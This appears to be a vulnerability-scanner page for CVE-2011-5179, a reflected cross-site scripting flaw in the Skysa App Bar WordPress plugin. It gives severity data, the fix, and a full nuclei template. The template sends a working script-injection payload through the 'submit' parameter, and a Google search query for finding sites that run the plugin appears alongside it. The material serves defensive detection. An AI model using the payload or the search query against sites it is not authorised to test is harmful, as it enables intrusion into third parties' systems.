Skysa App Bar 1.04 - Cross-Site Scripting

mediumseverity

4.3CVSS score

8.8%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A cross-site scripting vulnerability in skysa-official/skysa.php in Skysa App Bar Integration plugin, possibly before 1.04, for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of Skysa App Bar or apply appropriate security controls to sanitize user input and prevent XSS attacks.

How to confirm it

Send: GET /wp-content/plugins/skysa-official/readme.txt
Positive when: contains "Skysa App"
Send: GET {{BaseURL}}/wp-content/plugins/skysa-official/skysa.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2011-5179 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2011-5179

info:
  name: Skysa App Bar 1.04 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in skysa-official/skysa.php in Skysa App Bar Integration plugin, possibly before 1.04, for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Skysa App Bar or apply appropriate security controls to sanitize user input and prevent XSS attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-5179
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71486
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-5179
    cwe-id: CWE-79
    epss-score: 0.08772
    epss-percentile: 0.95212
    cpe: cpe:2.3:a:skysa:skysa_app_bar_integration_plugin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: skysa
    product: "skysa_app_bar_integration_plugin"
    google-query: "inurl:\"/wp-content/plugins/skysa-official/\""
  tags: cve,cve2011,wordpress,xss,wp-plugin,skysa,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/skysa-official/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Skysa App'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/skysa-official/skysa.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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